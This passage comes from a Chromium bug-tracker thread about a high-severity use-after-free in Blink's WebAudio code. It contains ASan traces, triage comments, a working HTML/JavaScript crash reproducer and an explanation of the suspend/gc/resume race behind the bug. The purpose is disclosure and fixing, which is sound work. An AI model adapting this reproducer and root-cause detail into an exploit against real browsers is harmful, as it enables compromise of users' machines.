    #11 0x7ffa392e9f37 in blink::`anonymous namespace'::CreateGainOperationCallback C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\blink\renderer\bindings\modules\v8\v8_base_audio_context.cc:626:41
    #12 0x7ffa257c6e82 in v8::internal::FunctionCallbackArguments::Call(class v8::internal::CallHandlerInfo) C:\b\s\w\ir\cache\builder\src\v8\src\api\api-arguments-inl.h:158:3
    #13 0x7ffa257c40ef in v8::internal::`anonymous namespace'::HandleApiCallHelper<0> C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-api.cc:113:36
    #14 0x7ffa257c16f6 in v8::internal::Builtin_Impl_HandleApiCall C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-api.cc:143:5
    #15 0x7ffa257c0a2e in v8::internal::Builtin_HandleApiCall(int, unsigned __int64 *, class v8::internal::Isolate *) C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-api.cc:131:1
    #16 0x7ffa3b2e4f1b in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (e:\lab\chrome_asan\chrome.dll+0x19c2c4f1b)
    #17 0x7ffa3b27ea0e in Builtins_InterpreterEntryTrampoline (e:\lab\chrome_asan\chrome.dll+0x19c25ea0e)
    #18 0x7ffa3b27ea0e in Builtins_InterpreterEntryTrampoline (e:\lab\chrome_asan\chrome.dll+0x19c25ea0e)
    #19 0x7ffa3b27ea0e in Builtins_InterpreterEntryTrampoline (e:\lab\chrome_asan\chrome.dll+0x19c25ea0e)
    #20 0x7ffa3b27c65a in Builtins_JSEntryTrampoline (e:\lab\chrome_asan\chrome.dll+0x19c25c65a)
    #21 0x7ffa3b27c2ab in Builtins_JSEntry (e:\lab\chrome_asan\chrome.dll+0x19c25c2ab)

#22 0x7ffa25b07b7f in v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,long long,unsigned long long **>::Call C:\b\s\w\ir\cache\builder\src\v8\src\execution\simulator.h:142
#23 0x7ffa25b07b7f in v8::internal::`anonymous namespace'::Invoke C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc:368:33
#24 0x7ffa25b0698d in v8::internal::Execution::Call(class v8::internal::Isolate *, class v8::internal::Handle<class v8::internal::Object>, class v8::internal::Handle<class v8::internal::Object>, int, class v8::internal::Handle<class v8::internal::Object> *const) C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc:462:10
#25 0x7ffa256536d2 in v8::Script::Run(class v8::Local<class v8::Context>) C:\b\s\w\ir\cache\builder\src\v8\src\api\api.cc:1916:7
#26 0x7ffa2dc0c4cc in blink::V8ScriptRunner::RunCompiledScript(class v8::Isolate *, class v8::Local<class v8::Script>, class blink::ExecutionContext *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\v8_script_runner.cc:371:22
#27 0x7ffa2dc0dd50 in blink::V8ScriptRunner::CompileAndRunScript(class v8::Isolate *, class blink::ScriptState *, class blink::ExecutionContext *, class blink::ScriptSourceCode const &, class blink::KURL const &, enum blink::SanitizeScriptErrors, class blink::ScriptFetchOptions const &, enum blink::ExecuteScriptPolicy, class blink::V8ScriptRunner::RethrowErrorsOption) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\v8_script_runner.cc:462:11
#28 0x7ffa2dbfeb23 in blink::ScriptController::ExecuteScriptAndReturnValue C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\script_controller.cc:97
#29 0x7ffa2dbfeb23 in blink::ScriptController::EvaluateScriptInMainWorld(class blink::ScriptSourceCode const &, class blink::KURL const &, enum blink::SanitizeScriptErrors, class blink::ScriptFetchOptions const &, enum blink::ExecuteScriptPolicy) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\script_controller.cc:286:10
#30 0x7ffa2dbf9192 in blink::ClassicScript::RunScriptAndReturnValue C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\classic_script.cc:42
#31 0x7ffa2dbf9192 in blink::ClassicScript::RunScript C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\classic_script.cc:37
#32 0x7ffa2dbf9192 in blink::ClassicScript::RunScript(class blink::LocalDOMWindow *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\classic_script.cc:29:10
#33 0x7ffa36f93e52 in blink::PendingScript::ExecuteScriptBlockInternal(class blink::Script *, class blink::ScriptElementBase *, bool, bool, bool, class base::TimeTicks, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\pending_script.cc:264:13
#34 0x7ffa36f935fb in blink::PendingScript::ExecuteScriptBlock(class blink::KURL const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\pending_script.cc:170:3
#35 0x7ffa34d320eb in blink::ScriptLoader::PrepareScript(class WTF::TextPosition const &, enum blink::ScriptLoader::LegacyTypeSupport) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\script_loader.cc:960:9
#36 0x7ffa34c7fc70 in blink::HTMLParserScriptRunner::ProcessScriptElementInternal(class blink::Element *, class WTF::TextPosition const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\html_parser_script_runner.cc:609:20
#37 0x7ffa34c7f844 in blink::HTMLParserScriptRunner::ProcessScriptElement(class blink::Element *, class WTF::TextPosition const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\html_parser_script_runner.cc:332:3

Thread T47 created by T5 here:
#0 0x7ff643ebea62 in __asan_wrap_CreateThread C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_win.cpp:146
#1 0x7ffa290fe351 in base::`anonymous namespace'::CreateThreadInternal C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:171:7
#2 0x7ffa212f6f05 in media::AudioDeviceThread::AudioDeviceThread(class media::AudioDeviceThread::Callback *, class base::win::GenericScopedHandle<class base::win::HandleTraits, class base::win::DummyVerifierTraits>, char const *, enum base::ThreadPriority) C:\b\s\w\ir\cache\builder\src\media\audio\audio_device_thread.cc:58:3
#3 0x7ffa2130ea6b in media::AudioOutputDevice::OnStreamCreated(class base::UnsafeSharedMemoryRegion, class base::win::GenericScopedHandle<class base::win::HandleTraits, class base::win::DummyVerifierTraits>, bool) C:\b\s\w\ir\cache\builder\src\media\audio\audio_output_device.cc:420:29
#4 0x7ffa32351ed0 in blink::MojoAudioOutputIPC::Created(class mojo::PendingRemote<class media::mojom::blink::AudioOutputStream>, class mojo::StructPtr<class media::mojom::blink::ReadWriteAudioDataPipe>) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\media\audio\mojo_audio_output_ipc.cc:244:14
#5 0x7ffa27f273d0 in media::mojom::blink::AudioOutputStreamProviderClientStubDispatch::Accept(class media::mojom::blink::AudioOutputStreamProviderClient *, class mojo::Message *) C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\media\mojo\mojom\audio_output_stream.mojom-blink.cc:891:13
#6 0x7ffa29469fca in mojo::InterfaceEndpointClient::HandleValidatedMessage(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc:554:54
#7 0x7ffa2bc53ece in mojo::MessageDispatcher::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc:41:19
#8 0x7ffa2947b551 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(class mojo::internal::MultiplexRouter::MessageWrapper *, enum mojo::internal::MultiplexRouter::ClientCallBehavior, class base::SequencedTaskRunner *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc:955:42
#9 0x7ffa2947a620 in mojo::internal::MultiplexRouter::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc:622:38
#10 0x7ffa2bc53ece in mojo::MessageDispatcher::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc:41:19
#11 0x7ffa29464f00 in mojo::Connector::DispatchMessageW(class mojo::Message) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:508:49
#12 0x7ffa29466a05 in mojo::Connector::ReadAllAvailableMessages(void) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:566:14
#13 0x7ffa294b509b in base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState &)>::Run C:\b\s\w\ir\cache\builder\src\base\callback.h:168
#14 0x7ffa294b509b in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, struct mojo::HandleSignalsState const &) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc:278:14
#15 0x7ffa294b6083 in mojo::SimpleWatcher::Context::Notify(unsigned int, struct MojoHandleSignalsState, unsigned int) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc:94:22
#16 0x7ffa294b3a13 in mojo::SimpleWatcher::Context::CallNotify(struct MojoTrapEvent const *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc:59:14
#17 0x7ffa22628597 in mojo::core::WatcherDispatcher::InvokeWatchCallback(unsigned __int64, unsigned int, struct mojo::core::HandleSignalsState const &, unsigned int) C:\b\s\w\ir\cache\builder\src\mojo\core\watcher_dispatcher.cc:94:3
#18 0x7ffa22627534 in mojo::core::Watch::InvokeCallback(unsigned int, struct mojo::core::HandleSignalsState const &, unsigned int) C:\b\s\w\ir\cache\builder\src\mojo\core\watch.cc:78:13
#19 0x7ffa2261b095 in mojo::core::RequestContext::~RequestContext(void) C:\b\s\w\ir\cache\builder\src\mojo\core\request_context.cc:72:20
#20 0x7ffa225f6f17 in mojo::core::NodeChannel::OnChannelMessage(void const *, unsigned __int64, class std::__1::vector<class mojo::PlatformHandle, class std::__1::allocator<class mojo::PlatformHandle>>) C:\b\s\w\ir\cache\builder\src\mojo\core\node_channel.cc:777:1
#21 0x7ffa225c41ec in mojo::core::Channel::TryDispatchMessage(class base::span<char const, -1>, unsigned __int64 *) C:\b\s\w\ir\cache\builder\src\mojo\core\channel.cc:712:16
#22 0x7ffa225c3850 in mojo::core::Channel::OnReadComplete(unsigned __int64, unsigned __int64 *) C:\b\s\w\ir\cache\builder\src\mojo\core\channel.cc:612:9
#23 0x7ffa226399bb in mojo::core::`anonymous namespace'::ChannelWin::OnReadDone C:\b\s\w\ir\cache\builder\src\mojo\core\channel_win.cc:297
#24 0x7ffa226399bb in mojo::core::`anonymous namespace'::ChannelWin::OnIOCompleted C:\b\s\w\ir\cache\builder\src\mojo\core\channel_win.cc:282:7
#25 0x7ffa290eee95 in base::MessagePumpForIO::WaitForIOCompletion(unsigned long, class base::MessagePumpForIO::IOHandler *) C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc:787:19
#26 0x7ffa290ee5de in base::MessagePumpForIO::WaitForWork C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc:765
#27 0x7ffa290ee5de in base::MessagePumpForIO::DoRunLoop(void) C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc:746:5
#28 0x7ffa290e816a in base::MessagePumpWin::Run(class base::MessagePump::Delegate *) C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc:80:3
#29 0x7ffa2b7f19cf in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:460:12
#30 0x7ffa28fecab3 in base::RunLoop::Run(class base::Location const &) C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:133:14
#31 0x7ffa29080af9 in base::Thread::Run(class base::RunLoop *) C:\b\s\w\ir\cache\builder\src\base\threading\thread.cc:311:13
#32 0x7ffa2908101b in base::Thread::ThreadMain(void) C:\b\s\w\ir\cache\builder\src\base\threading\thread.cc:382:3
#33 0x7ffa290fef6f in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:111:13
#34 0x7ff643ebdf88 in __asan::AsanThread::ThreadStart(unsigned __int64, struct __sanitizer::atomic_uintptr_t *) C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_thread.cpp:273
#35 0x7ffa93ba7033 (C:\WINDOWS\System32\KERNEL32.DLL+0x180017033)
#36 0x7ffa9499d0d0 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18004d0d0)

Thread T5 created by T0 here:
#0 0x7ff643ebea62 in __asan_wrap_CreateThread C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_win.cpp:146
#1 0x7ffa290fe351 in base::`anonymous namespace'::CreateThreadInternal C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:171:7
#2 0x7ffa2907fdb3 in base::Thread::StartWithOptions(struct base::Thread::Options const &) C:\b\s\w\ir\cache\builder\src\base\threading\thread.cc:186:15
#3 0x7ffa2b3f64ab in content::ChildProcess::ChildProcess(enum base::ThreadPriority, class std::__1::basic_string<char, struct std::__1::char_traits<char>, class std::__1::allocator<char>> const &, class std::__1::unique_ptr<struct base::ThreadPoolInstance::InitParams, struct std::__1::default_delete<struct base::ThreadPoolInstance::InitParams>>) C:\b\s\w\ir\cache\builder\src\content\child\child_process.cc:111:3
#4 0x7ffa3229f3a3 in content::RenderProcess::RenderProcess(class std::__1::basic_string<char, struct std::__1::char_traits<char>, class std::__1::allocator<char>> const &, class std::__1::unique_ptr<struct base::ThreadPoolInstance::InitParams, struct std::__1::default_delete<struct base::ThreadPoolInstance::InitParams>>) C:\b\s\w\ir\cache\builder\src\content\renderer\render_process.cc:28:7
#5 0x7ffa2e45a717 in content::RenderProcessImpl::RenderProcessImpl(void) C:\b\s\w\ir\cache\builder\src\content\renderer\render_process_impl.cc:93:7
#6 0x7ffa2e45b195 in content::RenderProcessImpl::Create(void) C:\b\s\w\ir\cache\builder\src\content\renderer\render_process_impl.cc:260:31
#7 0x7ffa2b5ea486 in content::RendererMain(struct content::MainFunctionParams const &) C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc:210:53
#8 0x7ffa28da9b7e in content::ContentMainRunnerImpl::Run(bool) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:877:10
#9 0x7ffa28da6d8f in content::RunContentProcess(struct content::ContentMainParams const &, class content::ContentMainRunner *) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:372:36

```
    #10 0x7ffa28da7363 in content::ContentMain(struct content::ContentMainParams const &) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:398:10
    #11 0x7ffa1f02145a in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:141:12
    #12 0x7ff643e15ac1 in MainDllLoader::Launch(struct HINSTANCE__*, class base::TimeTicks) C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:169:12
    #13 0x7ff643e129b7 in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:354:20
    #14 0x7ff6441f103f in invoke_main d:\A01\_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:78
    #15 0x7ff6441f103f in __scrt_common_main_seh d:\A01\_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
    #16 0x7ffa93ba7033  (C:\WINDOWS\System32\KERNEL32.DLL+0x180017033)
    #17 0x7ffa9499d0d0  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18004d0d0)

SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.cc:131:16 in
blink::AudioNodeOutput::Pull(class blink::AudioBus *, unsigned int)
Shadow bytes around the buggy address:
  0x03cd7f6bf2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x03cd7f6bf2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x03cd7f6bf2f0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x03cd7f6bf300: fd fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd
  0x03cd7f6bf310: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
=>0x03cd7f6bf320: fd fd fd fd[fd]fd fd fd fd fd fd fd fa fa fa
  0x03cd7f6bf330: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
  0x03cd7f6bf340: fd fd fd fa fa fa fa fa fa fa fa fa fd fd fd fd
  0x03cd7f6bf350: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x03cd7f6bf360: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x03cd7f6bf370: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==9848==ABORTING
[13596:12816:0202/120935.692:ERROR:gpu_init.cc(426)] Passthrough is not supported, GL isdisabled
```

Credit

Discovered by Piotr Bania of Cisco Talos.

TALOS-2021-1251 - Google_Chrome_WebAudio_blink::AudioNodeOutput::Pull_code_execution_vulnerability.txt
46.0 KB View Download

poc_min.html
1.2 KB View Download

poc_command_line.txt
128 bytes View Download

Comment 1 by sheriffbot on Tue, Feb 9, 2021, 10:03 AM EST Project Member

Labels: external_security_report

Comment 2 by ClusterFuzz on Tue, Feb 9, 2021, 5:25 PM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5730280103804928.

Comment 3 by ClusterFuzz on Tue, Feb 9, 2021, 6:12 PM EST Project Member

Labels: Unreproducible

ClusterFuzz testcase 5730280103804928 appears to be flaky, updating reproducibility label.

Comment 4 by ClusterFuzz on Tue, Feb 9, 2021, 6:12 PM EST Project Member

Labels: Security_Severity-High

Detailed Report: https://clusterfuzz.com/testcase?key=5730280103804928

Fuzzer: None
Job Type: windows_asan_chrome_no_sandbox
Platform Id: windows

Crash Type: Heap-use-after-free WRITE 1
Crash Address: 0x1291e8b44560
Crash State:
  blink::AudioNodeOutput::Pull
  blink::AudioNodeInput::SumAllConnections
  blink::AudioNodeInput::Pull

Sanitizer: address (ASAN)

Recommended Security Severity: High

Crash Revision: https://clusterfuzz.com/revisions?job=windows_asan_chrome_no_sandbox&revision=852277

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5730280103804928

********** UNREPRODUCIBLE **********
Note: This crash might not be reproducible with the provided testcase. That said, for the past 14 days, we've been seeing this crash frequently.

It may be possible to reproduce by trying the following options:
- Run testcase multiple times for a longer duration.
- Run fuzzing without testcase argument to hit the same crash signature.

If it still does not reproduce, try a speculative fix based on the crash stacktrace and verify if it works by looking at the crash statistics in the report. We will auto-close the bug if the crash is not seen for 14 days.
****

A recommended severity was added to this bug. Please change the severity if it is inaccurate.

Comment 5 by rsesek@chromium.org on Tue, Feb 9, 2021, 6:16 PM EST Project Member

Status: Assigned (was: Unconfirmed)
Owner: rtoy@chromium.org
Cc: hongchan@chromium.org
Labels: Security_Impact-Stable M-88 OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-Lacros Pri-1
Components: Blink>WebAudio

Thanks for the detailed report.

This seems very similar to bug 1115901, but it does repro on ToT.

Comment 6 by rtoy@chromium.org on Wed, Feb 10, 2021, 11:09 AM EST Project Member

Do I need to run this for a long time? I'm unable to reproduce this with a ToT asan build this morning. Only difference is that I'm using Linux and loading up the test case from http://localhost.

Comment 7 by hongchan@chromium.org on Wed, Feb 10, 2021, 11:13 AM EST Project Member

The poc command suggests that reporter is using Windows. (chrome.exe) Perhaps the platform might be a factor here?

Comment 8 by rtoy@chromium.org on Wed, Feb 10, 2021, 11:20 AM EST Project Member

Yes, I know.

Comment 9 by rtoy@chromium.org on Thu, Feb 11, 2021, 2:02 PM EST Project Member

Ah, I see that it did reproduce on linux, but I don't know how long it took because I accidentally left it running since yesterday and found out today that it crashed at some point. Backtrace looks like what you show.

This will take some time.

Comment 10 by rtoy@chromium.org on Wed, Feb 17, 2021, 11:15 AM EST Project Member

Ok. I did an asan build on windows last week. Started running it yesterday and it's been running for about 17+ hours without issues.

This is going to take a long time because it's so hard to reproduce locally.

Comment 11 by rtoy@chromium.org on Thu, Feb 25, 2021, 6:15 PM EST Project Member

Cc: scheib@chromium.org

Comment 12 by rtoy@chromium.org on Fri, Feb 26, 2021, 5:36 PM EST Project Member

The analysis of the problem is correct. I see exactly that happening: we are rendering the graph, and the AudioNodeOutput is gone.

What I have not yet figured out is why the internal code to disconnect nodes and outputs isn't working as intended. Since the repro case takes quite a long time (even after changing the page reload from 3 sec to 0.5 sec), analyzing why this isn't working will take some time.

But thanks so much for the repro case. Without that I would have been very hesitant to make any tentative fixes because I'd have no way to know if it's actually fixed.

Comment 13 by sheriffbot on Wed, Mar 3, 2021, 12:21 PM EST Project Member

Labels: -M-88 Target-89 M-89

Comment 14 by sheriffbot on Wed, Mar 10, 2021, 8:03 PM EST Project Member

Labels: reward-potential

Comment 15 by sheriffbot on Sat, Mar 13, 2021, 12:21 PM EST Project Member

rtoy: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 16 by rtoy@chromium.org on Tue, Mar 16, 2021, 1:41 PM EDT Project Member

I'v slightly simplified the test to be

```
function SetupThings() {

        if (gOut)               gOut.disconnect();

        gAudio                  = new (AudioContext || webkitAudioContext);
        gOut = gAudio.destination;

        gGainNode           = gAudio.createGain();
        gGainNode.connect(gOut);
        gCMNode                     = gAudio.createChannelMerger(2);
        gGainNode.connect(gCMNode, 0, 1);
       gGainNode = 0;
}
```

This still reproduces the issue but it still takes an hour or more.

I think the issue is related to the fact that the gain node is connected to the destination but is also connected to one of the inputs of the merger node. This cycle might be confusing the destruction of connections

Comment 17 by zhangtiff@google.com on Wed, Mar 17, 2021, 7:13 PM EDT Project Member

Labels: -reward-potential external_security_bug

Comment 18 by sheriffbot on Wed, Mar 31, 2021, 12:21 PM EDT Project Member

rtoy: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 19 by rtoy@chromium.org on Wed, Apr 7, 2021, 5:07 PM EDT Project Member

Could be caused by this line:

```
try { gCMNode.channelCountMode = "clamped-max"; } catch(e) { }
```

If I comment it out, I don't seem to get the crash after about 4 hrs. I'll have to let it run a bit longer, but usually 4 hrs has been enough to trigger it.

We have special code to handle the change in channel count mode, but perhaps it's confused when gainnode has gone away.

Comment 20 by rtoy@chromium.org on Thu, Apr 8, 2021, 10:48 AM EDT Project Member

That seems to be the actual problem. The test ran for almost 24 hours. This narrows down, I think, the potential problem areas.

Comment 21 by rtoy@chromium.org on Thu, Apr 8, 2021, 7:04 PM EDT Project Member

This is a bit confusing. setting the mode to 'clamped-max' is supposed to cause an exception because that's not valid. I see that setting the mode happens just before we start rendering the graph, but not always. Sometimes it happens and then some nodes are disposed.

Comment 22 by sheriffbot on Sat, Apr 10, 2021, 2:00 PM EDT Project Member

Labels: Deadline-Exceeded

We commit ourselves to a 60 day deadline for fixing for high severity vulnerabilities, and have exceeded it here. If you're unable to look into this soon, could you please find another owner or remove yourself so that this gets back into the security triage queue?

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by sheriffbot on Thu, Apr 15, 2021, 12:22 PM EDT Project Member

Labels: -M-89 M-90 Target-90

Comment 24 by vulnd...@sourcefire.com on Wed, Apr 21, 2021, 11:06 AM EDT

It's been 71 days since we submitted the issue, nearing our 90-day deadline where it becomes eligible for public disclosure. Are there any updates on this issue?

Comment 25 by rtoy@chromium.org on Wed, Apr 21, 2021, 4:53 PM EDT Project Member

Still working on it. Reproduction of the issue is happening faster for some reason (updated the code to more recent version), but still don't understand why the pull happens. Everything is supposed to be disabled by then.

Comment 26 by hongchan@chromium.org on Thu, Apr 22, 2021, 2:18 PM EDT Project Member

Ran the original repro case over 24 hours and has not been successful so far.

Comment 27 by rtoy@chromium.org on Thu, Apr 22, 2021, 2:52 PM EDT Project Member

Linux or mac? Did you use the suggested command line? (I used to forget, but not any more for this bug.)

Comment 28 by hongchan@chromium.org on Thu, Apr 22, 2021, 2:54 PM EDT Project Member

Linux. I used the exact ASAN options/command line from the CF. I'll try again with the repro case from #c16 to see if it makes any difference.

Comment 29 by rtoy@chromium.org on Thu, Apr 22, 2021, 4:29 PM EDT Project Member

Well, that's a bummer. I used the command line from #c0.

Comment 30 by vulnd...@sourcefire.com on Fri, Apr 23, 2021, 9:13 PM EDT

reward_to-piotr_at_thelead82.com

Comment 31 by hongchan@chromium.org on Mon, Apr 26, 2021, 3:10 PM EDT Project Member

Now I can get a consistent crash almost immediately (~10s) on my Linux machine. See the command line and the repro case:

./out/ASAN/chrome --user-data-dir=~/tmp/ --js-flags="--expose-gc" -javascript-harmony --no-sandbox --autoplay-policy=no-user-gesture-required

(For ASAN_OPTIONS I used the one from CF)

repro-1176218-r2.html
636 bytes View Download

Comment 32 by hongchan@chromium.org on Mon, Apr 26, 2021, 3:16 PM EDT Project Member

I can see there are several interesting things:

1. The code creates two GainNodes. Without two of them, UAF doesn't reproduce. (see l.14~15)
2. The channel merger's "clamped-max" setting needs to be touched. (see l.24) This is suggested by #c19 as well.
3. Using different values for the refresh timer seems to be more effective. (e.g. 75ms for the context resume/suspend and 72ms for refresh)

Comment 33 by rtoy@chromium.org on Mon, Apr 26, 2021, 4:08 PM EDT Project Member

Thanks for the repro. It doesn't seem to help me (at least it's currently more than 10 sec still). Perhaps all the prints I have is changing the timing too much.

I'm using my Z440 for my tests instead of my Z860.

Yeah, the clamped-max thing is weird because ti doesn't actually change anything except to try to print a console message if possible.

Comment 34 by hongchan@chromium.org on Mon, Apr 26, 2021, 6:32 PM EDT Project Member

I would like to know if the reduced case does repro consistently on your machine first. Can you try it with ToT?

Comment 35 by amyressler@chromium.org on Mon, Apr 26, 2021, 6:57 PM EDT Project Member

Labels: reward_to-piotr_at_thelead82.com

Comment 36 by glazunov@google.com on Tue, Apr 27, 2021, 7:08 AM EDT Project Member

Here's a repro case that immediately causes a crash on my gLinux P920:

```
<html>
<body>
<script>
var gGainNode = null;
```

```
var gCMNode = null;
var gAudio = null;
var gOut = null;
var gTimer = null;
var gWaveShaper;
var gArray = new Float32Array(128 * 1024 * 1024 / 4);

function SetupThings() {
  gAudio = new (AudioContext || webkitAudioContext);
  gOut = gAudio.destination;

  gWaveShaper = gAudio.createWaveShaper();

  gGainNode = gAudio.createOscillator();
  gGainNode.connect(gOut);
  gCMNode = gAudio.createChannelMerger(2);
  gGainNode.connect(gCMNode, 0, 1);
  gGainNode = null;
  gGainNode2 = gAudio.createOscillator();
  gGainNode2.connect(gOut);
}

function MY_CALLBACK() {
  gAudio.suspend();
  gc();
  gAudio.resume();
  gc();

  gWaveShaper.curve = gArray;
}

function go_sound() {
  SetupThings();
  gTimer = setTimeout(MY_CALLBACK, rand(100));
  setTimeout(() => location.reload(), rand(500));
}

rand = (n, d = 0) => Math.random() * (n - d) + d;

go_sound();
</script>
</body>
```

The original test case apparently attempts to set `gCMNode.channelCountMode` to an incorrect value in order to trigger the DOM exception creation while keeping the graph lock acquired in the main thread. The new repro extends the time window using a wave shaper and a huge typed arary.

Comment 37 by glazunov@google.com on Tue, Apr 27, 2021, 8:39 AM EDT Project Member

The crux of the bug seems to lie in the following four lines:
```
  gAudio.suspend();
  gc();
  gAudio.resume();
  gWaveShaper.curve = gArray;
```

1. `suspend()` basically sets `IsPullingAudioGraphAllowed()` to false.
2. `gc()` triggers the collection of former `gGainNode`, which runs `Dispose()`:

```
void AudioNode::Dispose() {
[...]
  BaseAudioContext::GraphAutoLocker locker(context());
  Handler().Dispose();

  // Add the handler to the orphan list if the context is pulling on the audio
  // graph.  This keeps the handler alive until it can be deleted at a safe
  // point (in pre/post handler task).  If graph isn't being pulled, we can
  // delete the handler now since nothing on the audio thread will be touching
  // it.
  DCHECK(context());
  if (context()->IsPullingAudioGraph()) {
    context()->GetDeferredTaskHandler().AddRenderingOrphanHandler(
        std::move(handler_));
  }
}
```

Since the handler isn't added to the orphan list, it gets immediately destroyed along with its `AudioNodeOutput`s.

3. `resume()` restores `IsPullingAudioGraphAllowed()`.
4. `gWaveShaper.curve = gArray` takes the long lock, and shortly after the audio rendering thread enters `Render()`:
```
void RealtimeAudioDestinationHandler::Render(
